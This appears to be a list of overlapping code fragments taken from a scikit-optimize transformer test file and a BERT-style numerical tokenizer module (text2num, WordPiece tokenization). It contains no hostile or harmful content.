1e-8)", "numpy as np from numpy.testing import assert_raises from numpy.testing import", "1. + 1e-8) assert_raises(ValueError, transformer.transform, 0. - 1e-8) @pytest.mark.fast_test def", "- 1e-7) assert_raises(ValueError, transformer.inverse_transform, 1. + 1e-8) assert_raises(ValueError, transformer.transform, 0.", "1e-8) assert_raises(ValueError, transformer.transform, 0. - 1e-8) @pytest.mark.fast_test def test_normalize(): transformer", "transformer.transform, 20.6) assert_raises(ValueError, transformer.transform, 0.4) assert transformer.inverse_transform(0.99) == 20 assert", "1e-7) assert_raises(ValueError, transformer.inverse_transform, 1. + 1e-8) assert_raises(ValueError, transformer.transform, 0. -", "+ 1e-8) assert_raises(ValueError, transformer.transform, 0. - 1e-8) @pytest.mark.fast_test def test_normalize():", "31): X_orig = transformer.inverse_transform(transformer.transform(X)) assert_array_equal(int(np.round(X_orig)), X) @pytest.mark.fast_test def test_normalize_integer(): transformer", "transformer.transform(0.9) == 0.0 assert_raises(ValueError, transformer.transform, 20.6) assert_raises(ValueError, transformer.transform, 0.4) assert", "+ 1e-7) assert_raises(ValueError, transformer.transform, 1.0 - 1e-7) assert_raises(ValueError, transformer.inverse_transform, 1.", "transformer.inverse_transform(0.99) == 20 assert transformer.inverse_transform(0.01) == 1 assert_raises(ValueError, transformer.inverse_transform, 1.", "0.4) assert transformer.inverse_transform(0.99) == 20 assert transformer.inverse_transform(0.01) == 1 assert_raises(ValueError,", "assert_raises from numpy.testing import assert_array_equal from numpy.testing import assert_equal from", "assert_raises(ValueError, transformer.transform, 0.4) assert transformer.inverse_transform(0.99) == 20 assert transformer.inverse_transform(0.01) ==", "@pytest.mark.fast_test def test_logn10_integer(): transformer = LogN(2) for X in range(2,", "@pytest.mark.fast_test def test_normalize(): transformer = Normalize(1, 20, is_int=False) assert transformer.transform(20.)", "numpy.testing import assert_raises from numpy.testing import assert_array_equal from numpy.testing import", "transformer.inverse_transform(transformer.transform(X)) assert_array_equal(int(np.round(X_orig)), X) @pytest.mark.fast_test def test_normalize_integer(): transformer = Normalize(1, 20,", "is_int=False) assert transformer.transform(20.) == 1.0 assert transformer.transform(1.) == 0.0 assert_raises(ValueError,", "transformer.transform, 0.4) assert transformer.inverse_transform(0.99) == 20 assert transformer.inverse_transform(0.01) == 1", "== 0.0 assert transformer.transform(0.9) == 0.0 assert_raises(ValueError, transformer.transform, 20.6) assert_raises(ValueError,", "transformer.transform, 20. + 1e-7) assert_raises(ValueError, transformer.transform, 1.0 - 1e-7) assert_raises(ValueError,", "transformer = Normalize(1, 20, is_int=True) assert transformer.transform(19.8) == 1.0 assert", "transformer.transform, 0. - 1e-8) @pytest.mark.fast_test def test_normalize(): transformer = Normalize(1,", "import pytest import numbers import numpy as np from numpy.testing", "== 1.0 assert transformer.transform(1.2) == 0.0 assert transformer.transform(0.9) == 0.0", "test_logn10_integer(): transformer = LogN(2) for X in range(2, 31): X_orig", "20 assert transformer.inverse_transform(0.01) == 1 assert_raises(ValueError, transformer.inverse_transform, 1. + 1e-8)", "1.0 assert transformer.transform(1.) == 0.0 assert_raises(ValueError, transformer.transform, 20. + 1e-7)", "0.0 assert transformer.transform(0.9) == 0.0 assert_raises(ValueError, transformer.transform, 20.6) assert_raises(ValueError, transformer.transform,", "transformer.transform(20.2) == 1.0 assert transformer.transform(1.2) == 0.0 assert transformer.transform(0.9) ==", "test_logn2_integer(): transformer = LogN(2) for X in range(2, 31): X_orig", "assert_raises_regex from skopt.space import LogN, Normalize @pytest.mark.fast_test def test_logn2_integer(): transformer", "X_orig = transformer.inverse_transform(transformer.transform(X)) assert_array_equal(int(np.round(X_orig)), X) @pytest.mark.fast_test def test_logn10_integer(): transformer =", "= transformer.inverse_transform(transformer.transform(X)) assert_array_equal(int(np.round(X_orig)), X) @pytest.mark.fast_test def test_logn10_integer(): transformer = LogN(2)", "assert transformer.inverse_transform(0.99) == 20 assert transformer.inverse_transform(0.01) == 1 assert_raises(ValueError, transformer.inverse_transform,", "import assert_raises from numpy.testing import assert_array_equal from numpy.testing import assert_equal", "assert transformer.transform(19.8) == 1.0 assert transformer.transform(20.2) == 1.0 assert transformer.transform(1.2)", "in range(2, 31): X_orig = transformer.inverse_transform(transformer.transform(X)) assert_array_equal(int(np.round(X_orig)), X) @pytest.mark.fast_test def", "1.0 assert transformer.transform(1.2) == 0.0 assert transformer.transform(0.9) == 0.0 assert_raises(ValueError,", "for X in range(2, 31): X_orig = transformer.inverse_transform(transformer.transform(X)) assert_array_equal(int(np.round(X_orig)), X)", "from skopt.space import LogN, Normalize @pytest.mark.fast_test def test_logn2_integer(): transformer =", "assert_raises(ValueError, transformer.transform, 20. + 1e-7) assert_raises(ValueError, transformer.transform, 1.0 - 1e-7)", "np from numpy.testing import assert_raises from numpy.testing import assert_array_equal from", "assert transformer.transform(0.9) == 0.0 assert_raises(ValueError, transformer.transform, 20.6) assert_raises(ValueError, transformer.transform, 0.4)", "assert transformer.transform(20.2) == 1.0 assert transformer.transform(1.2) == 0.0 assert transformer.transform(0.9)", "numpy.testing import assert_array_equal from numpy.testing import assert_equal from numpy.testing import", "Normalize @pytest.mark.fast_test def test_logn2_integer(): transformer = LogN(2) for X in", "1e-8) @pytest.mark.fast_test def test_normalize(): transformer = Normalize(1, 20, is_int=False) assert", "def test_logn2_integer(): transformer = LogN(2) for X in range(2, 31):", "numbers import numpy as np from numpy.testing import assert_raises from", "test_normalize(): transformer = Normalize(1, 20, is_int=False) assert transformer.transform(20.) == 1.0", "assert transformer.transform(20.) == 1.0 assert transformer.transform(1.) == 0.0 assert_raises(ValueError, transformer.transform,", "assert_array_equal from numpy.testing import assert_equal from numpy.testing import assert_raises_regex from", "def test_logn10_integer(): transformer = LogN(2) for X in range(2, 31):", "== 1 assert_raises(ValueError, transformer.inverse_transform, 1. + 1e-8) assert_raises(ValueError, transformer.transform, 0.", "assert_array_equal(int(np.round(X_orig)), X) @pytest.mark.fast_test def test_normalize_integer(): transformer = Normalize(1, 20, is_int=True)", "@pytest.mark.fast_test def test_normalize_integer(): transformer = Normalize(1, 20, is_int=True) assert transformer.transform(19.8)", "test_normalize_integer(): transformer = Normalize(1, 20, is_int=True) assert transformer.transform(19.8) == 1.0", "= transformer.inverse_transform(transformer.transform(X)) assert_array_equal(int(np.round(X_orig)), X) @pytest.mark.fast_test def test_normalize_integer(): transformer = Normalize(1,", "1.0 - 1e-7) assert_raises(ValueError, transformer.inverse_transform, 1. + 1e-8) assert_raises(ValueError, transformer.transform,", "1.0 assert transformer.transform(20.2) == 1.0 assert transformer.transform(1.2) == 0.0 assert", "== 1.0 assert transformer.transform(20.2) == 1.0 assert transformer.transform(1.2) == 0.0", "import assert_equal from numpy.testing import assert_raises_regex from skopt.space import LogN,", "@pytest.mark.fast_test def test_logn2_integer(): transformer = LogN(2) for X in range(2,", "numpy.testing import assert_raises_regex from skopt.space import LogN, Normalize @pytest.mark.fast_test def", "transformer.inverse_transform, 1. + 1e-8) assert_raises(ValueError, transformer.transform, 0. - 1e-8) @pytest.mark.fast_test", "assert transformer.transform(1.) == 0.0 assert_raises(ValueError, transformer.transform, 20. + 1e-7) assert_raises(ValueError,", "1 assert_raises(ValueError, transformer.inverse_transform, 1. + 1e-8) assert_raises(ValueError, transformer.transform, 0. -", "LogN, Normalize @pytest.mark.fast_test def test_logn2_integer(): transformer = LogN(2) for X", "transformer = LogN(2) for X in range(2, 31): X_orig =", "LogN(2) for X in range(2, 31): X_orig = transformer.inverse_transform(transformer.transform(X)) assert_array_equal(int(np.round(X_orig)),", "from numpy.testing import assert_raises from numpy.testing import assert_array_equal from numpy.testing", "= Normalize(1, 20, is_int=False) assert transformer.transform(20.) == 1.0 assert transformer.transform(1.)", "- 1e-8) @pytest.mark.fast_test def test_normalize(): transformer = Normalize(1, 20, is_int=False)", "import LogN, Normalize @pytest.mark.fast_test def test_logn2_integer(): transformer = LogN(2) for", "pytest import numbers import numpy as np from numpy.testing import", "transformer.transform(20.) == 1.0 assert transformer.transform(1.) == 0.0 assert_raises(ValueError, transformer.transform, 20.", "def test_normalize(): transformer = Normalize(1, 20, is_int=False) assert transformer.transform(20.) ==", "20.6) assert_raises(ValueError, transformer.transform, 0.4) assert transformer.inverse_transform(0.99) == 20 assert transformer.inverse_transform(0.01)", "transformer.transform(19.8) == 1.0 assert transformer.transform(20.2) == 1.0 assert transformer.transform(1.2) ==", "== 1.0 assert transformer.transform(1.) == 0.0 assert_raises(ValueError, transformer.transform, 20. +", "Normalize(1, 20, is_int=True) assert transformer.transform(19.8) == 1.0 assert transformer.transform(20.2) ==", "X) @pytest.mark.fast_test def test_logn10_integer(): transformer = LogN(2) for X in", "20. + 1e-7) assert_raises(ValueError, transformer.transform, 1.0 - 1e-7) assert_raises(ValueError, transformer.inverse_transform,", "transformer.transform, 1.0 - 1e-7) assert_raises(ValueError, transformer.inverse_transform, 1. + 1e-8) assert_raises(ValueError,", "from numpy.testing import assert_equal from numpy.testing import assert_raises_regex from skopt.space", "import assert_array_equal from numpy.testing import assert_equal from numpy.testing import assert_raises_regex", "X) @pytest.mark.fast_test def test_normalize_integer(): transformer = Normalize(1, 20, is_int=True) assert", "as np from numpy.testing import assert_raises from numpy.testing import assert_array_equal", "= Normalize(1, 20, is_int=True) assert transformer.transform(19.8) == 1.0 assert transformer.transform(20.2)", "31): X_orig = transformer.inverse_transform(transformer.transform(X)) assert_array_equal(int(np.round(X_orig)), X) @pytest.mark.fast_test def test_logn10_integer(): transformer", "== 0.0 assert_raises(ValueError, transformer.transform, 20. + 1e-7) assert_raises(ValueError, transformer.transform, 1.0", "range(2, 31): X_orig = transformer.inverse_transform(transformer.transform(X)) assert_array_equal(int(np.round(X_orig)), X) @pytest.mark.fast_test def test_normalize_integer():", "0.0 assert_raises(ValueError, transformer.transform, 20.6) assert_raises(ValueError, transformer.transform, 0.4) assert transformer.inverse_transform(0.99) ==", "0. - 1e-8) @pytest.mark.fast_test def test_normalize(): transformer = Normalize(1, 20,", "is_int=True) assert transformer.transform(19.8) == 1.0 assert transformer.transform(20.2) == 1.0 assert", "Normalize(1, 20, is_int=False) assert transformer.transform(20.) == 1.0 assert transformer.transform(1.) ==", "assert_raises(ValueError, transformer.transform, 0. - 1e-8) @pytest.mark.fast_test def test_normalize(): transformer =", "skopt.space import LogN, Normalize @pytest.mark.fast_test def test_logn2_integer(): transformer = LogN(2)", "from numpy.testing import assert_array_equal from numpy.testing import assert_equal from numpy.testing", "transformer = Normalize(1, 20, is_int=False) assert transformer.transform(20.) == 1.0 assert", "0.0 assert_raises(ValueError, transformer.transform, 20. + 1e-7) assert_raises(ValueError, transformer.transform, 1.0 -", "1e-7) assert_raises(ValueError, transformer.transform, 1.0 - 1e-7) assert_raises(ValueError, transformer.inverse_transform, 1. +", "assert transformer.inverse_transform(0.01) == 1 assert_raises(ValueError, transformer.inverse_transform, 1. + 1e-8) assert_raises(ValueError,", "transformer.transform(1.2) == 0.0 assert transformer.transform(0.9) == 0.0 assert_raises(ValueError, transformer.transform, 20.6)", "X_orig = transformer.inverse_transform(transformer.transform(X)) assert_array_equal(int(np.round(X_orig)), X) @pytest.mark.fast_test def test_normalize_integer(): transformer =", "from numpy.testing import assert_raises_regex from skopt.space import LogN, Normalize @pytest.mark.fast_test", "def test_normalize_integer(): transformer = Normalize(1, 20, is_int=True) assert transformer.transform(19.8) ==", "numpy.testing import assert_equal from numpy.testing import assert_raises_regex from skopt.space import", "import assert_raises_regex from skopt.space import LogN, Normalize @pytest.mark.fast_test def test_logn2_integer():", "assert_raises(ValueError, transformer.transform, 20.6) assert_raises(ValueError, transformer.transform, 0.4) assert transformer.inverse_transform(0.99) == 20", "20, is_int=False) assert transformer.transform(20.) == 1.0 assert transformer.transform(1.) == 0.0" ]
[ "treat them as punctuation anyways, for # consistency. if ((cp", "**do_lower_case**: (`optional`) boolean (default True) Whether to lower case the", "punctuation splitting + wordpiece Args: vocab_file: Path to a one-wordpiece-per-line", "2.0 (the \"License\"); # you may not use this file", "the all of the other languages. if ((cp >= 0x4E00", "sentence by: . remove commas from numbers (2,000 -> 2000)", "= False output[-1].append(char) i += 1 return [\"\".join(x) for x", "and remove endings from ordinal numbers for i in range(len(words)):", "ValueError: pass # only modify this word if it's an", "in text: cp = ord(char) if self._is_chinese_char(cp): output.append(\" \") output.append(char)", "pretrained_vocab_files_map = PRETRAINED_VOCAB_FILES_MAP max_model_input_sizes = PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES def __init__(self, vocab_file, do_lower_case=True,", "**kwargs) if not os.path.isfile(vocab_file): raise ValueError( \"Can't find a vocabulary", "0xF900 and cp <= 0xFAFF) or # (cp >= 0x2F800", "try: if new_word not in ['infinity', 'inf', 'nan']: int_word =", "alphabet is a different block, # as is Japanese Hiragana", "output_sigfigs = whitespace_tokenize(\" \".join(split_sigfigs)) return zip(output_tokens,split_sigfigs) # return output_tokens, #", "unicodedata.normalize(\"NFD\", text) output = [] for char in text: cat", "return zip(*[sentence[i:] for i in range(n)]) def check_int(s): if s[0]", "split_tokens = [] numeric_values = [] numeric_masks = [] split_sigfigs", "[]) text = self._clean_text(text) # This was added on November", "512, 'bert-large-cased-whole-word-masking-finetuned-squad': 512, 'bert-base-cased-finetuned-mrpc': 512, } def load_vocab(vocab_file): \"\"\"Loads a", "= ord(char) if cp == 0 or cp == 0xfffd", "a piece of text.\"\"\" text = text.strip() if not text:", "wordpiece Args: vocab_file: Path to a one-wordpiece-per-line vocabulary file do_lower_case:", "cp <= 0x2A6DF) or # (cp >= 0x2A700 and cp", "it doesn't # matter since the English models were not", "do_basic_tokenize=True, never_split=None, unk_token=\"[UNK]\", sep_token=\"[SEP]\", pad_token=\"[PAD]\", cls_token=\"[CLS]\", mask_token=\"[MASK]\", tokenize_chinese_chars=True, **kwargs): \"\"\"Constructs", "14.0, 'fifteen': 15.0, 'sixteen': 16.0, 'seventeen': 17.0, 'eighteen': 18.0, 'nineteen':", "word in words] # remove commas from numbers \"2,000\" ->", "cp <= 96) or (cp >= 123 and cp <=", "91 and cp <= 96) or (cp >= 123 and", "kv[1]): if index != token_index: logger.warning(\"Saving vocabulary to {}: vocabulary", "not corrupted!\".format(vocab_file)) index = token_index writer.write(token + u'\\n') index +=", "if pretrained_model_name_or_path in PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES: if '-cased' in pretrained_model_name_or_path and kwargs.get('do_lower_case',", "for word in words] # remove commas from numbers \"2,000\"", "number = 0.0 for i, word in enumerate(words): if i", "import absolute_import, division, print_function, unicode_literals import collections import logging import", "new_words.append(words[i]) sigs.append('') if i == len(words) - 2: new_words.append(words[i+1]) sigs.append('')", "zip(*[sentence[i:] for i in range(n)]) def check_int(s): if s[0] in", "do_basic_tokenize=True **tokenize_chinese_chars**: (`optional`) boolean (default True) Whether to tokenize Chinese", "passed into text2num. \"\"\" if remove_pos: words = [word[:word.rfind('_')] for", "punctuation. # Characters such as \"^\", \"$\", and \"`\" are", "\"one {hundred,thousand,million,...}\" for i in range(len(words)-1): if words_lower[i] == 'a'", "vocabulary file do_lower_case: Whether to lower case the input. Only", "Whether to lower case the input. Only has an effect", "} } PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES = { 'bert-base-uncased': 512, 'bert-large-uncased': 512, 'bert-base-cased':", "see WordPieceTokenizer. Args: **never_split**: (`optional`) list of str Kept for", "on any Chinese data # and generally don't have any", "greedy longest-match-first algorithm to perform tokenization using the given vocabulary.", "[] split_sigfigs = [] i = 0 for (token, sigfig)", "cat = unicodedata.category(char) if cat.startswith(\"C\"): return True return False def", "to the English models now, but it doesn't # matter", "License for the specific language governing permissions and # limitations", "collections.OrderedDict( [(ids, tok) for tok, ids in self.vocab.items()]) self.do_basic_tokenize =", "This should have already been passed through `BasicTokenizer`. Returns: A", "to lower case the input Only has an effect when", "# number = 0.0 for i, word in enumerate(words): if", "# limitations under the License. \"\"\"Tokenization classes.\"\"\" from __future__ import", "numeric_mask = [] for token in whitespace_tokenize(text): chars = list(token)", "or # (cp >= 0x2F800 and cp <= 0x2FA1F)): #", "<= 64) or (cp >= 91 and cp <= 96)", "token.rstrip('\\n') vocab[token] = index return vocab def whitespace_tokenize(text): \"\"\"Runs basic", "else: out_sigfigs.append(sigfigs[i]) out_words.append(number) i = j-1 # skip this sequence", "some Chinese # words in the English Wikipedia.). if self.tokenize_chinese_chars:", "you have not set \" \"`do_lower_case` to False. We are", "0x2A6DF) or # (cp >= 0x2A700 and cp <= 0x2B73F)", "at path '{}'. To load the vocabulary from a Google", "NumericalTokenizer(do_lower_case=do_lower_case, never_split=never_split) if do_basic_tokenize: self.basic_tokenizer = BasicTokenizer(do_lower_case=do_lower_case, never_split=never_split, tokenize_chinese_chars=tokenize_chinese_chars) self.wordpiece_tokenizer", "if number is before it # if _is_punctuation(char) and not", "[] for token in orig_tokens: if self.do_lower_case and token not", "never_split: return [text] chars = list(text) i = 0 start_new_word", "to split. \"\"\" never_split = self.never_split + (never_split if never_split", "never_split is not None else []) text = self._clean_text(text) #", "##', '').strip() return out_string def save_vocabulary(self, vocab_path): \"\"\"Save the tokenizer", "\\n, and \\r are technically contorl characters but we treat", "them (there are Chinese # characters in the vocabulary because", "Team Authors and The HuggingFace Inc. team. # # Licensed", "boolean (default True) Whether to do basic tokenization before wordpiece.", "(cp >= 0x2F800 and cp <= 0x2FA1F)): # return True", "type(sent) is list: words = [word.lower() for word in sent]", "[] self.do_lower_case = do_lower_case self.never_split = never_split self.tokenize_chinese_chars = tokenize_chinese_chars", "tokenize(self, text): \"\"\"Tokenizes a piece of text into its word", "PreTrainedTokenizer logger = logging.getLogger(__name__) VOCAB_FILES_NAMES = {'vocab_file': 'vocab.txt'} PRETRAINED_VOCAB_FILES_MAP =", "because Wikipedia does have some Chinese # words in the", "for word in sent] # n = 0 # g", "words_lower[i+1] in Magnitude_with_hundred: words[i] = 'one' # convert \"24 {Magnitude}\"", "Characters such as \"^\", \"$\", and \"`\" are not in", "as writer: for token, token_index in sorted(self.vocab.items(), key=lambda kv: kv[1]):", "treat them # as whitespace since they are generally considered", "as is Japanese Hiragana and Katakana. Those alphabets are used", "elif type(sent) is list: words = [word.lower() for word in", "(24 hundred) -> 2400 and return the sentence's preprocessed list", "numeric_masks = [] split_sigfigs = [] i = 0 for", "str: words = [word.lower() for word in sent.strip().split()] elif type(sent)", "not os.path.isfile(vocab_file): raise ValueError( \"Can't find a vocabulary file at", "never_split = ['[UNK_NUM]'] self.ids_to_tokens = collections.OrderedDict( [(ids, tok) for tok,", "} def load_vocab(vocab_file): \"\"\"Loads a vocabulary file into a dictionary.\"\"\"", "before wordpiece. **never_split**: (`optional`) list of string List of tokens", "'{}'. To load the vocabulary from a Google pretrained \"", ">= 58 and cp <= 64) or (cp >= 91", "return False ################ # Small = { 'zero': 0.0, 'one':", "to False. We are setting `do_lower_case=True` for you \" \"but", "token not in never_split: token = token.lower() token = self._run_strip_accents(token)", "perform preprocessing and normalize number words to digits. :param sent:", "CJK character.\"\"\" output = [] for char in text: cp", "has an effect when do_wordpiece_only=False do_basic_tokenize: Whether to do basic", "Args: **never_split**: (`optional`) list of str Kept for backward compatibility", "tokenizer vocabulary to a directory or file.\"\"\" index = 0", "token in orig_tokens: if self.do_lower_case and token not in never_split:", "1.0 never_split = ['[UNK_NUM]'] self.ids_to_tokens = collections.OrderedDict( [(ids, tok) for", "True break sub_tokens.append(cur_substr) start = end if is_number: #ACTUAL NUMBER", "self.vocab = vocab self.unk_token = unk_token self.unk_num = unk_num self.default_value", "((cp >= 33 and cp <= 47) or (cp >=", "(`optional`) list of str Kept for backward compatibility purposes. Now", "OF ANY KIND, either express or implied. # See the", "such. if char == \" \" or char == \"\\t\"", "{hundred,thousand...}\" to \"one {hundred,thousand,...}\" so it can be handled by", "See the License for the specific language governing permissions and", "and not chars[i-1].isdigit() or _is_punctuation(char) and i == 0: if", "is a cased model but you have not set \"", "== 0: do_split = True elif i == len(chars)-1: do_split", "VOCAB_FILES_NAMES['vocab_file']) with open(vocab_file, \"w\", encoding=\"utf-8\") as writer: for token, token_index", "0: mantissa = Small.get(word, None) if mantissa is None: try:", "\"\"\" Basic Tokenization of a piece of text. Split on", "AI Language Team Authors and The HuggingFace Inc. team. #", "sigs.append('') i += 1 return new_words, sigs # ​ #", "to in writing, software # distributed under the License is", "at the base class level (see :func:`PreTrainedTokenizer.tokenize`) List of token", "was added on November 1st, 2018 for the multilingual and", "them as whitespace # characters. if char == \"\\t\" or", "20.0, 'thirty': 30.0, 'forty': 40.0, 'fifty': 50.0, 'sixty': 60.0, 'seventy':", "\"r\", encoding=\"utf-8\") as reader: tokens = reader.readlines() for index, token", "0x2A700 and cp <= 0x2B73F) or # (cp >= 0x2B740", "which will never be split during tokenization. Only has an", "# characters. if char == \"\\t\" or char == \"\\n\"", "piece of text. Args: **never_split**: (`optional`) list of str Kept", "== \"\\n\" or char == \"\\r\": return True cat =", "or agreed to in writing, software # distributed under the", "_tokenize_chinese_chars(self, text): \"\"\"Adds whitespace around any CJK character.\"\"\" output =", "self.numerical_tokenizer.tokenize(text, never_split=self.all_special_tokens): for (sub_token, numeric_value, numeric_mask) in self.wordpiece_tokenizer.tokenize(token): split_tokens.append(sub_token) numeric_values.append(numeric_value)", "return mantissa def generate_ngrams(sentence, n): return zip(*[sentence[i:] for i in", "and cp <= 126)): return True cat = unicodedata.category(char) #", "preprocess(sent, remove_pos, never_split) out_sigfigs = [] i = 0 while", "language governing permissions and # limitations under the License. \"\"\"Tokenization", "do_lower_case self.never_split = never_split self.tokenize_chinese_chars = tokenize_chinese_chars def tokenize(self, text,", "and return the sentence's preprocessed list of words that should", "(default True) Whether to do basic tokenization before wordpiece. **never_split**:", "never_split=None, unk_token=\"[UNK]\", sep_token=\"[SEP]\", pad_token=\"[PAD]\", cls_token=\"[CLS]\", mask_token=\"[MASK]\", tokenize_chinese_chars=True, **kwargs): \"\"\"Constructs a", "# g = 0 mantissa = 0 # number =", "be handled by text2num function . convert \"digit digitword\" (24", "(default True) Whether to tokenize Chinese characters. This should likely", "never_split=never_split) if do_basic_tokenize: self.basic_tokenizer = BasicTokenizer(do_lower_case=do_lower_case, never_split=never_split, tokenize_chinese_chars=tokenize_chinese_chars) self.wordpiece_tokenizer =", "for (token, sigfig) in self.numerical_tokenizer.tokenize(text, never_split=self.all_special_tokens): for (sub_token, numeric_value, numeric_mask)", "compliance with the License. # You may obtain a copy", "numeric_mask.append(0) continue is_bad = False start = 0 sub_tokens =", "an effect when do_basic_tokenize=True **do_basic_tokenize**: (`optional`) boolean (default True) Whether", "Preprocess the sentence by: . remove commas from numbers (2,000", "0x2CEAF) or (cp >= 0xF900 and cp <= 0xFAFF) or", "this behavior.\") kwargs['do_lower_case'] = True return super(BertNumericalTokenizer, cls)._from_pretrained(pretrained_model_name_or_path, *inputs, **kwargs)", "(string/unicode) using the vocab.\"\"\" return self.ids_to_tokens.get(index, self.unk_token) def convert_tokens_to_string(self, tokens):", "= True else: do_split = False else: do_split = False", "effect when do_basic_tokenize=True **tokenize_chinese_chars**: (`optional`) boolean (default True) Whether to", "= True else: if not chars[i-1].isdigit(): do_split = True else:", "tokenize_chinese_chars def tokenize(self, text, never_split=None): \"\"\" Basic Tokenization of a", "= whitespace_tokenize(\" \".join(split_sigfigs)) return zip(output_tokens,split_sigfigs) # return output_tokens, # _numbers", "PRETRAINED_VOCAB_FILES_MAP = { 'vocab_file': { 'bert-base-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-uncased-vocab.txt\", 'bert-large-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-vocab.txt\", 'bert-base-cased':", "to \"one {hundred,thousand,...}\" so it can be handled by text2num", "return True return False ################ # Small = { 'zero':", "not use this file except in compliance with the License.", "on text.\"\"\" output = [] for char in text: cp", "do_split = True else: do_split = False else: do_split =", "with open(vocab_file, \"r\", encoding=\"utf-8\") as reader: tokens = reader.readlines() for", "Whether to lower case the input. **never_split**: (`optional`) list of", "reader.readlines() for index, token in enumerate(tokens): token = token.rstrip('\\n') vocab[token]", "you may not use this file except in compliance with", "'forty': 40.0, 'fifty': 50.0, 'sixty': 60.0, 'seventy': 70.0, 'eighty': 80.0,", "msg) def text2num(sent): if type(sent) is str: words = [word.lower()", "text: A single token or whitespace separated tokens. This should", "collections import logging import os import sys import unicodedata from", "lower case the input Only has an effect when do_basic_tokenize=True", "Inc. team. # # Licensed under the Apache License, Version", "ord(char) # We treat all non-letter/number ASCII as punctuation. #", "if mantissa is None: try: mantissa = float(word) except ValueError:", "def load_vocab(vocab_file): \"\"\"Loads a vocabulary file into a dictionary.\"\"\" vocab", "1 return [\"\".join(x) for x in output] def _tokenize_chinese_chars(self, text):", "sorted(self.vocab.items(), key=lambda kv: kv[1]): if index != token_index: logger.warning(\"Saving vocabulary", "from __future__ import absolute_import, division, print_function, unicode_literals import collections import", "generally don't have any Chinese data in them (there are", "models. This is also applied to the English models now,", "continue output.append(char) return \"\".join(output) def _run_split_on_punc(self, text, never_split=None): \"\"\"Splits punctuation", "index += 1 return (vocab_file,) @classmethod def from_pretrained(cls, pretrained_model_name_or_path, *inputs,", "words = [word for word in sent.strip().split()] tokenizer = BasicTokenizer(do_lower_case=True,", "are technically contorl characters but we treat them # as", "is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES", "numeric_masks if get_values: return numeric_values assert len(split_tokens) == len(numeric_values) ==", "index (integer) in a token (string/unicode) using the vocab.\"\"\" return", "if numeric_value != self.default_value and sub_token != self.unk_num: print(sub_token, numeric_value)", "0 or cp == 0xfffd or _is_control(char): continue if _is_whitespace(char):", "The modern Korean Hangul alphabet is a different block, #", "during tokenization. Only has an effect when do_wordpiece_only=False \"\"\" vocab_files_names", "{Magnitude}\" -> 24000000000000 (mix of digits and words) new_words =", "in the Unicode # Punctuation class but we treat them", "only, for sub-word tokenization, see WordPieceTokenizer. Args: **never_split**: (`optional`) list", "of text.\"\"\" text = text.strip() if not text: return []", "want to check this behavior.\") kwargs['do_lower_case'] = False elif '-cased'", "file.\"\"\" index = 0 if os.path.isdir(vocab_path): vocab_file = os.path.join(vocab_path, VOCAB_FILES_NAMES['vocab_file'])", "for char in text: cp = ord(char) if cp ==", "basic tokenization before wordpiece. **never_split**: (`optional`) list of string List", "= BasicTokenizer(do_lower_case=True, never_split=never_split) words = tokenizer.tokenize(sent) # sent = '", "not to split. \"\"\" if never_split is None: never_split =", "if self._is_chinese_char(cp): output.append(\" \") output.append(char) output.append(\" \") else: output.append(char) return", "class NumberException(Exception): def __init__(self, msg): Exception.__init__(self, msg) def text2num(sent): if", "and i == 0: if _is_punctuation(char): if i == 0:", "split_sigfigs.append('-1') if numeric_value != self.default_value and sub_token != self.unk_num: print(sub_token,", "never_split = [] self.do_lower_case = do_lower_case self.never_split = never_split def", "for i in range(n)]) def check_int(s): if s[0] in ('-',", "self.vocab and is_number == False: cur_substr = substr break end", "that should be passed into text2num. \"\"\" if remove_pos: words", "are setting `do_lower_case=False` for you but \" \"you may want", "input. Only has an effect when do_wordpiece_only=False do_basic_tokenize: Whether to", "never_split=None): \"\"\" Given a sentence, perform preprocessing and normalize number", "sequence length. never_split: List of tokens which will never be", "block: # https://en.wikipedia.org/wiki/CJK_Unified_Ideographs_(Unicode_block) # # Note that the CJK Unicode", ">= 0x4E00 and cp <= 0x9FFF) or # (cp >=", "output_tokens.append(self.unk_token) numeric_values.append(self.default_value) numeric_mask.append(0) continue is_bad = False start = 0", "= list(text) i = 0 start_new_word = True output =", "(vocab_file,) @classmethod def from_pretrained(cls, pretrained_model_name_or_path, *inputs, **kwargs): \"\"\" Instantiate a", "the other languages. if ((cp >= 0x4E00 and cp <=", "list of str Kept for backward compatibility purposes. Now implemented", "i in range(len(words)): new_word = words_lower[i].replace(',', '') if new_word.endswith(('th', 'rd',", "# fraction_pattern = re.compile(_fraction) # number_pattern = re.compile(_numbers) class BasicTokenizer(object):", "is Japanese Hiragana and Katakana. Those alphabets are used to", "Wikipedia does have some Chinese # words in the English", "numeric_values, numeric_mask) def _is_whitespace(char): \"\"\"Checks whether `chars` is a whitespace", "a piece of text. Args: **never_split**: (`optional`) list of str", "into text2num. \"\"\" if remove_pos: words = [word[:word.rfind('_')] for word", "1000000000000000000000000000000.0, } class NumberException(Exception): def __init__(self, msg): Exception.__init__(self, msg) def", "# This was added on November 1st, 2018 for the", "a CJK character.\"\"\" # This defines a \"chinese character\" as", "self.vocab.get(token, self.vocab.get(self.unk_token)) def _convert_id_to_token(self, index): \"\"\"Converts an index (integer) in", "WordpieceTokenizer(object): \"\"\"Runs WordPiece tokenization.\"\"\" def __init__(self, vocab, unk_token, unk_num, max_input_chars_per_word=100):", "True) Whether to tokenize Chinese characters. This should likely be", "purposes. Now implemented directly at the base class level (see", "backward compatibility purposes. Now implemented directly at the base class", "Chinese data # and generally don't have any Chinese data", "= words_lower[i].replace(',', '') if new_word.endswith(('th', 'rd', 'st', 'nd')): new_word =", "on November 1st, 2018 for the multilingual and Chinese #", "r\"\"\" Constructs a BertTokenizer. :class:`~pytorch_transformers.BertTokenizer` runs end-to-end tokenization: punctuation splitting", "char in text: cp = ord(char) if cp == 0", "\" \" or char == \"\\t\" or char == \"\\n\"", "control characters but we count them as whitespace # characters.", "{hundred,thousand,million,...}\" to \"one {hundred,thousand,million,...}\" for i in range(len(words)-1): if words_lower[i]", "= 0 while i < len(words)-1: if check_int(words_lower[i]) and words_lower[i+1]", "= 0 start_new_word = True output = [] while i", "during tokenization. Only has an effect when do_basic_tokenize=True **tokenize_chinese_chars**: (`optional`)", "normalized words from the sentence \"\"\" out_words = [] words,", "0: substr = \"##\" + substr if substr in self.vocab", "you may want to check this behavior.\") 